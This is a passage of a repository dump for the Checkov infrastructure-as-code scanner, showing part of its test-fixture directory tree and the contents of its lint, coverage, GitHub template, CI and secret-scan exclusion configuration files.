│ └── variables.tf │ │ │ │ │ ├── expected.json │ │ │ │ │ └── modules/ │ │ │ │ │ └── db/ │ │ │ │ │ ├── db.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── bad_ref_fallbacks/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── bad_tf_nested_modules_enable/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── skip_bad_tf_example.tf │ │ │ │ ├── bogus_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── colon/ │ │ │ │ │ ├── colon.tf │ │ │ │ │ └── expected.json │ │ │ │ ├── compound_local/ │ │ │ │ │ ├── checkov.tf │ │ │ │ │ └── expected.json │ │ │ │ ├── concat_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── count_eval/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── modules/ │ │ │ │ │ │ ├── fabric-net-firewall/ │ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ │ ├── outputs.tf │ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ │ ├── fabric-net-svpc-access/ │ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ │ ├── outputs.tf │ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ │ ├── network-peering/ │ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ │ ├── outputs.tf │ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ │ ├── routes/ │ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ │ ├── outputs.tf │ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ │ ├── routes-beta/ │ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ │ ├── outputs.tf │ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ │ ├── subnets/ │ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ │ ├── outputs.tf │ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ │ ├── subnets-beta/ │ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ │ ├── outputs.tf │ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ │ └── vpc/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ ├── outputs.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ ├── outputs.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── default_evaluation/ │ │ │ │ │ ├── expected.json │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── default_var_types/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── doc_evaluations_verify/ │ │ │ │ │ ├── README.md │ │ │ │ │ ├── eval.json │ │ │ │ │ ├── expected.json │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── empty_file/ │ │ │ │ │ ├── evaluation.json │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── formatting/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── json_807/ │ │ │ │ │ ├── cdk.tf.json │ │ │ │ │ └── expected.json │ │ │ │ ├── list_default_622/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── test.tf │ │ │ │ ├── local_block/ │ │ │ │ │ ├── eval.json │ │ │ │ │ ├── expected.json │ │ │ │ │ └── name_doesnt_matter.tf │ │ │ │ ├── local_bool_string_conversion/ │ │ │ │ │ ├── eval.json │ │ │ │ │ ├── expected.json │ │ │ │ │ └── name_doesnt_matter.tf │ │ │ │ ├── map_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── maze_of_variables/ │ │ │ │ │ ├── bucket/ │ │ │ │ │ │ └── bucket.tf │ │ │ │ │ ├── expected.json │ │ │ │ │ └── maze.tf │ │ │ │ ├── merge_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── merge_function_unresolved_var/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── module_matryoshka_nested_module_enable/ │ │ │ │ │ ├── bucket1/ │ │ │ │ │ │ ├── bucket.tf │ │ │ │ │ │ └── bucket2/ │ │ │ │ │ │ ├── bucket.tf │ │ │ │ │ │ └── bucket3/ │ │ │ │ │ │ └── bucket.tf │ │ │ │ │ ├── buckets.tf │ │ │ │ │ └── expected.json │ │ │ │ ├── module_multiple_usage/ │ │ │ │ │ ├── bucket/ │ │ │ │ │ │ └── bucket.tf │ │ │ │ │ ├── buckets.tf │ │ │ │ │ └── expected.json │ │ │ │ ├── module_output_reference/ │ │ │ │ │ ├── bucket/ │ │ │ │ │ │ └── bucket.tf │ │ │ │ │ ├── common/ │ │ │ │ │ │ └── common.tf │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── module_reference/ │ │ │ │ │ ├── bucket/ │ │ │ │ │ │ └── bucket.tf │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── module_simple/ │ │ │ │ │ ├── bucket/ │ │ │ │ │ │ └── bucket.tf │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── module_simple_up_dir_ref/ │ │ │ │ │ ├── bucket/ │ │ │ │ │ │ └── bucket.tf │ │ │ │ │ ├── expected.json │ │ │ │ │ └── tf/ │ │ │ │ │ └── main.tf │ │ │ │ ├── nested_modules_instances_enable/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── tf_module/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── module/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── module2/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variable.tf │ │ │ │ │ └── variable.tf │ │ │ │ ├── null_variables_651/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── simple_bucket_single_file/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── ternaries/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── ternary_793/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── tfvars/ │ │ │ │ │ ├── expected.json │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── other1.tfvars │ │ │ │ │ ├── other2.tfvars │ │ │ │ │ ├── other3.tfvars │ │ │ │ │ ├── terraform.tfvars │ │ │ │ │ ├── x.auto.tfvars │ │ │ │ │ └── y.auto.tfvars │ │ │ │ ├── tfvars_outside_dir/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── tobool_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── tolist_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── tomap_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── tonumber_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── toset_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── tostring_function/ │ │ │ │ │ ├── expected.json │ │ │ │ │ └── main.tf │ │ │ │ ├── variable_defaults/ │ │ │ │ │ ├── eval.json │ │ │ │ │ ├── expected.json │ │ │ │ │ └── name_doesnt_matter.tf │ │ │ │ └── variable_defaults_separate_files/ │ │ │ │ ├── eval.json │ │ │ │ ├── expected.json │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── parser_tfvars/ │ │ │ │ ├── main.tf │ │ │ │ └── other.tfvars │ │ │ ├── plan_after_unknown/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_booleans/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_encodings/ │ │ │ │ ├── tfplan_mac_utf8.json │ │ │ │ ├── tfplan_win_utf16.json │ │ │ │ └── tfplan_win_utf8.json │ │ │ ├── plan_module_with_connected_resources/ │ │ │ │ ├── s3module.tf │ │ │ │ └── tfplan.json │ │ │ ├── plan_multiple_providers/ │ │ │ │ ├── multiple_providers.tf │ │ │ │ └── tfplan.json │ │ │ ├── plan_provisioners/ │ │ │ │ ├── tfplan.json │ │ │ │ └── tfplan2.json │ │ │ ├── plan_tags/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_tags_variety/ │ │ │ │ ├── tags.tf │ │ │ │ └── tfplan.json │ │ │ ├── plan_vpc_endpoint/ │ │ │ │ └── tfplan.json │ │ │ ├── registry_security_group/ │ │ │ │ └── registry_security_group.tf │ │ │ └── registry_security_group_inner_module/ │ │ │ └── main.tf │ │ ├── skip_bad_tf_example.tf │ │ ├── test_hcl2_load_assumptions.py │ │ ├── test_module.py │ │ ├── test_new_parser_modules.py │ │ ├── test_parse_file_vs_dir.py │ │ ├── test_parser_internals.py │ │ ├── test_parser_var_blocks.py │ │ └── test_plan_parser.py │ ├── runner/ │ │ ├── __init__.py │ │ ├── extra_checks/ │ │ │ ├── S3EnvironmentCheck.py │ │ │ ├── __init__.py │ │ │ └── nested/ │ │ │ ├── S3EnvironmentCheck2.py │ │ │ └── __init__.py │ │ ├── extra_tf_plan_checks/ │ │ │ ├── __init__.py │ │ │ ├── modules.json │ │ │ ├── nsg_rule_connection.yaml │ │ │ ├── secret_not_deleted.py │ │ │ ├── secret_not_deleted.yaml │ │ │ └── security_group_rule_protocol_changed.py │ │ ├── extra_yaml_checks/ │ │ │ ├── aws_provider_check.yaml │ │ │ ├── bucket_versioned_owned.yaml │ │ │ ├── module_source.yaml │ │ │ ├── policy_violations.yaml │ │ │ └── test_tag.yaml │ │ ├── py_check_tf_plan/ │ │ │ ├── __init__.py │ │ │ └── check_tf_plan.py │ │ ├── py_graph_check/ │ │ │ ├── __init__.py │ │ │ └── py_graph_check.py │ │ ├── resources/ │ │ │ ├── definition_context_path_nested_modules/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ ├── module2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ └── variable.tf │ │ │ ├── duplicate_violations/ │ │ │ │ ├── modules/ │ │ │ │ │ └── main.tf │ │ │ │ └── src/ │ │ │ │ ├── main1.tf │ │ │ │ └── main2.tf │ │ │ ├── empty_locals/ │ │ │ │ └── locals.tf │ │ │ ├── example/ │ │ │ │ ├── example.tf │ │ │ │ └── invalid.tf │ │ │ ├── extra_check_test/ │ │ │ │ └── s3.tf │ │ │ ├── for_each/ │ │ │ │ ├── main.tf │ │ │ │ └── simple/ │ │ │ │ ├── alerts.tf │ │ │ │ ├── main.tf │ │ │ │ └── outputs.tf │ │ │ ├── get_graph_resource_entity_config/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── hcl_0.11/ │ │ │ │ └── main.tf │ │ │ ├── hcl_timeout/ │ │ │ │ └── main.tf │ │ │ ├── hidden_dir/ │ │ │ │ ├── .dir/ │ │ │ │ │ └── .example1.tf │ │ │ │ ├── .example2.tf │ │ │ │ ├── dir1/ │ │ │ │ │ ├── .example1.tf │ │ │ │ │ └── example.tf │ │ │ │ └── example.tf │ │ │ ├── invalid_terraform_syntax/ │ │ │ │ ├── bad_tf_1.tf │ │ │ │ └── bad_tf_2.tf │ │ │ ├── list_of_routes/ │ │ │ │ └── list_of_routes.tf │ │ │ ├── malformed_857/ │ │ │ │ └── main.tf │ │ │ ├── many_providers/ │ │ │ │ └── main.tf │ │ │ ├── merge_operator/ │ │ │ │ ├── main.tf │ │ │ │ └── query/ │ │ │ │ └── TagsQuery.yaml │ │ │ ├── module_check/ │ │ │ │ └── main.tf │ │ │ ├── module_failure_reporting_772/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ └── module.tf │ │ │ ├── module_skip/ │ │ │ │ ├── another/ │ │ │ │ │ └── module/ │ │ │ │ │ ├── module-3/ │ │ │ │ │ │ └── module.tf │ │ │ │ │ └── module.tf │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ └── module.tf │ │ │ ├── multi_line_ternary/ │ │ │ │ └── main.tf │ │ │ ├── multiple_module_versions/ │ │ │ │ ├── main.tf │ │ │ │ └── main_2.tf │ │ │ ├── nested_dir/ │ │ │ │ ├── dir1/ │ │ │ │ │ └── example.tf │ │ │ │ └── example.tf │ │ │ ├── nested_modules_caller_file/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ └── module.tf │ │ │ ├── plan/ │ │ │ │ ├── corrupted-tfplan.json │ │ │ │ ├── tf_plan_filtered_rule_fail.json │ │ │ │ ├── tf_plan_filtered_rule_success.json │ │ │ │ └── tfplan.json │ │ │ ├── plan_and_tf_combine_graph/ │ │ │ │ ├── source/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── module/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variable.tf │ │ │ │ │ └── module2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ └── tfplan.json │ │ │ ├── plan_and_tf_combine_graph_with_missing_resources/ │ │ │ │ ├── source/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── module/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variable.tf │ │ │ │ │ └── module2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ └── tfplan.json │ │ │ ├── plan_change_keys/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_data_resource_partial_values/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_nested_child_modules/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_nested_child_modules_with_connections/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_resources_ids/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_resources_ids_with_nested_modules/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_root_module_resources_no_values/ │ │ │ │ ├── tfplan.json │ │ │ │ └── tfplan_route53.json │ │ │ ├── plan_with_child_modules/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_with_deleted_resources/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_with_iam_data_block/ │ │ │ │ ├── main.tf │ │ │ │ └── tfplan.json │ │ │ ├── plan_with_iam_policies/ │ │ │ │ ├── main.tf │ │ │ │ └── tfplan.json │ │ │ ├── plan_with_lifecycle_check/ │ │ │ │ └── tfplan.json │ │ │ ├── plan_with_providers/ │ │ │ │ ├── main.tf │ │ │ │ └── tfplan.json │ │ │ ├── plan_with_resource_reference/ │ │ │ │ ├── tfplan.json │ │ │ │ ├── tfplan_extra_ref.json │ │ │ │ └── tfplan_graph.json │ │ │ ├── plan_with_utf_16_encoding/ │ │ │ │ └── tfplan.json │ │ │ ├── provider_blocks/ │ │ │ │ └── main.tf │ │ │ ├── py_graph_check/ │ │ │ │ └── main.tf │ │ │ ├── py_graph_check_tf_plan/ │ │ │ │ └── py_graph_check_paln.json │ │ │ ├── resource_ids_nested_modules/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ ├── module2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ └── variable.tf │ │ │ ├── resource_negative_value_without_var/ │ │ │ │ ├── main.tf │ │ │ │ ├── variables.tf │ │ │ │ └── variables_unscoped.tf │ │ │ ├── resource_value_without_var/ │ │ │ │ ├── main.tf │ │ │ │ ├── variables.tf │ │ │ │ └── variables_unscoped.tf │ │ │ ├── tf_raw_resource/ │ │ │ │ └── main.tf │ │ │ ├── tf_with_hcl_files/ │ │ │ │ ├── example_acl_fail.hcl │ │ │ │ └── example_acl_fail.tf │ │ │ ├── unbalanced_eval_brackets/ │ │ │ │ └── main.tf │ │ │ ├── unexpected/ │ │ │ │ ├── eks_node_group_remote_access.json │ │ │ │ └── unexpected.md │ │ │ ├── unrendered_vars/ │ │ │ │ ├── bucket_equals.yaml │ │ │ │ ├── bucket_exists.yaml │ │ │ │ ├── component_equals.yaml │ │ │ │ ├── component_exists.yaml │ │ │ │ ├── nested.tf │ │ │ │ └── simple.tf │ │ │ ├── valid_tf_only_failed_checks/ │ │ │ │ └── example_acl_fail.tf │ │ │ ├── valid_tf_only_module_usage/ │ │ │ │ └── example.tf │ │ │ ├── valid_tf_only_passed_checks/ │ │ │ │ ├── example.tf │ │ │ │ └── example_skip_acl.tf │ │ │ └── valid_tf_only_resource_usage/ │ │ │ └── example.tf │ │ ├── test_plan_runner.py │ │ ├── test_runner.py │ │ ├── tf_plan_skip_check_regex/ │ │ │ ├── resource/ │ │ │ │ ├── skip_directory/ │ │ │ │ │ └── tfplan2.json │ │ │ │ └── tfplan1.json │ │ │ └── test_tf_plan_skip_check_regex.py │ │ └── tfplan2.json │ ├── test_provider_tags.py │ ├── test_scanner_registry.py │ └── util/ │ ├── __init__.py │ ├── test_doc_generator.py │ └── test_iam_converter.py ├── terraform_json/ │ ├── __init__.py │ ├── examples/ │ │ └── cdk.tf.json │ ├── test_graph_manager.py │ ├── test_parser.py │ └── test_runner.py ├── test_contributor_metrics.py ├── test_main.py ├── test_runner_filter.py └── unit/ ├── __init__.py └── test_secrets.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .cfnlintrc ================================================ templates: - tests/cloudformation/checks/resource/aws/**/*.json - tests/cloudformation/checks/resource/aws/**/*.yaml ignore_templates: - tests/cloudformation/checks/resource/aws/unused/* # https://github.com/aws-cloudformation/cfn-python-lint/issues/1577 - tests/cloudformation/checks/resource/aws/example_AthenaWorkgroupConfiguration/* # added resource with Properties, which is not supported by cfn-lint - tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/sam.yaml # includes tests with booleans as strings - tests/cloudformation/checks/resource/aws/example_ECRImageScanning/* - tests/cloudformation/checks/resource/aws/example_ALBDropHttpHeaders/* - tests/cloudformation/checks/resource/aws/example_ELBv2AccessLogs/* - tests/cloudformation/checks/resource/aws/example_RedShiftSSL/* - tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/* - tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/* - tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription - tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-UNKNOWN.yaml - tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-UNKNOWN.yaml - tests/cloudformation/checks/resource/* - tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/cfn_bad_iam_pass.yaml - tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/UNKNOWN.yml - tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-UNKNOWN.yaml - tests/cloudformation/checks/resource/aws/example_ALBListenerTLS12/ALBListenerTLS1.2-FAILED.yaml ignore_checks: - W ================================================ FILE: .coveragerc ================================================ [run] branch = True [report] omit = tests/* */.pytest_cache/* */.local/* docs/* hooks/* ================================================ FILE: .dockerignore ================================================ bin/ checkov/ docs/ integration_tests/ tests/ ================================================ FILE: .flake8 ================================================ # can be moved to pyproject.toml some day # https://github.com/PyCQA/flake8/issues/234 [flake8] max-line-length = 120 # E203,E501 don't work with black together ignore = E203,E501,E731,W503,W504,DUO107,DUO104,DUO130,DUO109,DUO116,B028,B950,TC001,TC003,TC006,B907,B038,B909 select = C,E,F,W,B,B9,A,TC extend-exclude = .github, .pytest_cache, docs/*, venv/*, tests/*, flake8_plugins/*, cdk_integration_tests/src/python/* [flake8:local-plugins] extension = CCE = flake8_plugins.flake8_class_attributes_plugin.flake8_class_attributes.checker:ClassAttributesChecker paths = . flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes ================================================ FILE: .github/ISSUE_TEMPLATE/best_practices_issue.md ================================================ --- name: Best practices improvement about: Issues that will help achieve best practices using checkov. title: '' labels: 'best practices' assignees: '' --- **Describe the issue** If it is related to an existing check, please note the relevant check ID. Also, explain the logic for this addition / change. **Examples** Please share an example code sample (in the IaC of your choice) + the expected outcomes. **Version (please complete the following information):** - Checkov Version [e.g. 22] **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/checks_issue.md ================================================ --- name: Checks Issue about: Create an issue regarding a check (existing or missing) title: '' labels: 'checks' assignees: '' --- **Describe the issue** If it is related to an existing check, please note the relevant check ID. Also, explain the logic for this addition / change. **Examples** Please share an example code sample (in the IaC of your choice) + the expected outcomes. **Version (please complete the following information):** - Checkov Version [e.g. 22] **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/crash_report.md ================================================ --- name: Crash report about: Create an issue for cases causing checkov to crash title: '' labels: 'crash' assignees: '' --- **Describe the issue** Explain what you expected to happen when checkov crashed. **Examples** Please share an example code sample (in the IaC of your choice) + the expected outcomes. **Exception Trace** Please share the trace for the exception and all relevant output by checkov. To maximize the understanding, please run checkov with LOG_LEVEL set to debug as follows: ```sh LOG_LEVEL=DEBUG checkov ... ``` **Desktop (please complete the following information):** - OS: [e.g. iOS] - Checkov Version [e.g. 22] **Additional context** Add any other context about the problem here (e.g. code snippets). ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.md ================================================ --- name: Feature request about: Feature requests or requests for enhancements that are not bugs. title: '' labels: 'contribution requested' assignees: '' --- **Describe the feature** Explain the feature in detail. Note that feature requests are always reviewed, but prioritized based on popularity, effort, and impact. We also welcome contributions. **Examples** Please share an example code sample (in the IaC of your choice) + expected inputs and outputs from Checkov + the expected outcomes. **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/graph_issue.md ================================================ --- name: Graph Issue about: Create an issue regarding the graph creation and querying title: '' labels: 'graph' assignees: '' --- **Describe the issue** Please explain what is missing or malfunctioning in the graph (creation or querying). Also detail what is the expected behavior for this use case. **Examples** Please share an example code sample (in the IaC of your choice) + the expected outcomes. **Desktop (please complete the following information):** - OS: [e.g. iOS] - Checkov Version [e.g. 22] **Additional context** Add any other context about the problem here (e.g. code snippets). ================================================ FILE: .github/ISSUE_TEMPLATE/integrations_issue.md ================================================ --- name: Integrations Issue about: Create an issue regarding the integration of checkov with other tools. title: '' labels: 'integrations' assignees: '' --- **Describe the issue** If an existing integration is malfunctioning, please describe the current state and what you expect to be happening. For new integrations, please share an example use case this integration will help checkov support. ================================================ FILE: .github/ISSUE_TEMPLATE/languages_issue.md ================================================ --- name: Languages Issue about: Create an issue regarding the frameworks and languages supported by checkov title: '' labels: 'languages' assignees: '' --- **Describe the issue** Describe the framework / feature that is missing in a supported framework that you would like to add and explain what the use case is. **Example Value** Please share an example check / use case that this issue will allow checkov to support. ================================================ FILE: .github/ISSUE_TEMPLATE/noise_issue.md ================================================ --- name: Noise Issue about: Create an issue regarding checkov's output and noise it generates. title: '' labels: 'noise' assignees: '' --- **Describe the issue** Please explain the use case that leads to this noise being generated. **Examples** Please share an example code sample (in the IaC of your choice) + the expected outcomes. **Version (please complete the following information):** - Checkov Version [e.g. 22] **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/outputs_issue.md ================================================ --- name: Outputs Issue about: Create an issue regarding checkov's output (addition or fix) title: '' labels: 'outputs' assignees: '' --- **Describe the issue** If regarding an existing output (json, junit-xml etc.) please note what is the current state and what is the expected state. For new outputs - please describe the use case to add it. **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/skips_issue.md ================================================ --- name: Skipping Issue about: Create an issue regarding checkov's skipping mechanism title: '' labels: 'skips' assignees: '' --- **Describe the issue** Please explain the functionality that is missing for you, what you did and what was the actual output. **Examples** Please share an example code sample (in the IaC of your choice) + the expected outcomes. **Version (please complete the following information):** - Checkov Version [e.g. 22] **Additional context** Add any other context about the problem here. ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ **By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.** [//]: # " # PR Title We use the title to create changelog automatically and therefore only allow specific prefixes - break: to indicate a breaking change, this supersedes any of the other types - feat: to indicate new features or checks - fix: to indicate a bugfix or handling of edge cases of existing checks - docs: to indicate an update to our documentation - chore: to indicate adjustments to workflow files or dependency updates - platform: to indicate a change needed for the platform Each prefix should be accompanied by a scope that specifies the targeted framework. If uncertain, use 'general'. # Allowed prefixs: ansible|argo|arm|azure|bicep|bitbucket|circleci|cloudformation|dockerfile|github|gha|gitlab|helm|kubernetes|kustomize|openapi|sast|sca|secrets|serverless|terraform|general|graph|terraform_plan|terraform_json # ex. feat(terraform): add CKV_AWS_123 to ensure that VPC Endpoint Service is configured for Manual Acceptance " ## Description *Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context. List any dependencies that are required for this change.* Fixes # (issue) ## New/Edited policies (Delete if not relevant) ### Description *Include a description of what makes it a violation and any relevant external links.* ### Fix *How does someone fix the issue in code and/or in runtime?* ## Checklist: - [ ] I have performed a self-review of my own code - [ ] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [ ] I have added tests that prove my feature, policy, or fix is effective and works - [ ] New and existing tests pass locally with my changes ================================================ FILE: .github/actionlint.yaml ================================================ self-hosted-runner: labels: - public ================================================ FILE: .github/checkov.yaml ================================================ enable-secret-scan-all-files: true framework: - secrets quiet: true skip-path: - docs - tests/arm/checks/resource/example_AzureScaleSetPassword/FAILED.json - tests/arm/checks/resource/example_AzureScaleSetPassword/UNKNOWN.json - tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-FAILED2.json - tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-FAILED2.json - tests/terraform/checks/resource/azure/example_AzureInstanceExtensions/main.tf - tests/common/utils/conftest.py - tests/common/utils/test_secrets_utils.py - tests/sca_image/conftest.py - tests/sca_package_2/conftest.py - tests/secrets - tests/terraform/checks/provider - tests/terraform/parser/resources/plan_tags/tfplan.json - tests/terraform/runner/resources/plan/tfplan.json - tests/terraform/runner/tf_plan_skip_check_regex/resource/skip_directory/tfplan2.json - tests/terraform/runner/tf_plan_skip_check_regex/resource/tfplan1.json - tests/terraform/runner/tfplan2.json - tests/unit/test_secrets.py - tests/terraform/runner/resources/example/example.tf - tests/terraform/graph - tests/terraform/checks - /checkov/secrets/plugins/entropy_keyword_combinator.py - /checkov/secrets/plugins/detector_utils.py - /cdk_integration_tests/src/python/RedshiftClusterPubliclyAccessible/pass.py - /cdk_integration_tests/src/python/RedshiftClusterEncryption/pass.py - /cdk_integration_tests/src/python/RedshiftClusterEncryption/fail__1__.py - /cdk_integration_tests/src/python/RedshiftClusterPubliclyAccessible/fail__1__.py - /cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/fail__2__.py - /cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/pass.py - /cdk_integration_tests/src/typescript - /checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml - /checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml - /checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml - /checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml - tests/terraform/runner/resources/plan_with_providers summary-position: bottom ================================================ FILE: .github/codeql-config.yml ================================================ name: "CodeQL config" paths-ignore: - tests ================================================ FILE: .github/dependabot.yml ================================================ version: 2 updates: - package-ecosystem: "github-actions" directory: "/" schedule: interval: "weekly" ================================================ FILE: .github/exclude-patterns.txt ================================================ checkov/terraform/module_loading/loaders/github_access_token_loader.py checkov/terraform/module_loading/loaders/git_loader.py docs/2.Basics/Scanning Credentials and Secrets.md docs/5.Contribution/New-Provider.md github_action_resources/entrypoint.sh tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-func_level/serverless.yml tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-provider_level/serverless.yml tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-provider_level/serverless.yml tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-func_level/serverless.yml tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-provider_level/serverless.yml tests/cloudformation/checks/resource/aws/example_EC2Credentials/EC2Credentials-FAILED.yaml tests/cloudformation/checks/resource/aws/example_AWSCredentials/EC2Credentials-FAILED.yaml tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/sam.yaml tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/FAIL.yaml tests/cloudformation/graph/checks/resources/LambdaFunction/template.yaml tests/common/suppressions_resources/suppressions.tf tests/secrets/.* tests/common/utils/test_secrets_utils.py tests/terraform/runner/resources/example/example.tf tests/terraform/checks/resource/aws/example_EC2Credentials/main.tf tests/terraform/checks/resource/aws/example_LambdaEnvironmentCredentials/main.tf tests/terraform/checks/provider/aws/test_credentials.py tests/terraform/checks/resource/aws/test_EC2Credentials.py tests/terraform/checks/provider/ncp/test_credentials.py tests/terraform/checks/provider/openstack/test_credentials.py tests/terraform/module_loading/test_registry.py tests/terraform/checks/resource/azure/example_AzureInstanceExtensions/main.tf tests/unit/test_secrets.py tests/terraform/runner/resources/plan/tfplan.json tests/terraform/parser/resources/plan_tags/tfplan.json tests/terraform/image_referencer/resources/aws/batch_tfplan.json tests/helm/runner/resources/schema-registry tests/common/utils/conftest.py tests/terraform/runner/resources/get_graph_resource_entity_config/main.tf tests/terraform/runner/tf_plan_skip_check_regex/resource/.* tests/terraform/runner/tfplan2.json tests/terraform/runner/resources/plan_with_providers/tfplan.json 